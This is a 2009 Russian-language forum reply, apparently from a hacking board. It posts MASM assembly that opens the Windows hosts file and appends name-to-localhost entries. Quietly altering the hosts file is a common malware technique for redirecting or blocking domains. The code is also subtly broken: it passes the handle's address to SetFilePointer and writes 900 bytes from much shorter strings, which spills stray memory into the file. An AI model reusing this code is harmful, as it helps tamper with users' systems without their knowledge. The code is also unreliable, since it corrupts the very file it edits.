
06.09.2009, 22:09
|
|
Участник форума
Регистрация: 26.08.2009
Сообщений: 133
Провел на форуме: 193434
Репутация:
79
|
|
омфг!
ясно же было написано что и куда вставлять.
Кароче вот подправленный исходник:
PHP код:
.386
.model flat,stdcall
option casemap:none
include C:\masm32\INCLUDE\WINDOWS.INC
include C:\masm32\INCLUDE\KERNEL32.INC
include C:\masm32\INCLUDE\USER32.INC
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\kernel32.lib
;################################################# ##########
NOFDIG equ 30
DSIZE equ 30
BSIZE equ NOFDIG*DSIZE
;################################################# ##########
;----------------------------------------------------------------------------------------------
.data?
Buffer db MAX_PATH dup(?)
buffer2 db MAX_PATH dup(?)
fhandle dd ?
cWritten dd ?
.data
fname db "\system32\drivers\etc\hosts",0
param db "%s%s", 0
digs db "127.0.0.1 localhost",0,13,10
digs2 db "gdfsgsdfgdsg localhost",0
;--------------------------------------------------------------------------------------------------
.CODE
START:
invoke GetWindowsDirectory, addr Buffer, MAX_PATH
invoke wsprintf, addr buffer2, addr param, addr Buffer, addr fname
invoke CreateFile , addr buffer2, GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0
mov fhandle, eax
invoke SetFilePointer, addr fhandle,0,0,FILE_END
invoke WriteFile, fhandle, addr digs,BSIZE, ADDR cWritten, NULL
invoke WriteFile, fhandle, addr digs2,BSIZE, ADDR cWritten, NULL
invoke CloseHandle, fhandle
invoke ExitProcess, 0
end START
Для оптимизации, как сказал Слеш можно использовать GetSystemDirectory (вместо GetWindowDirectory) и lstrcat (вместо wsprintf)
|
|
|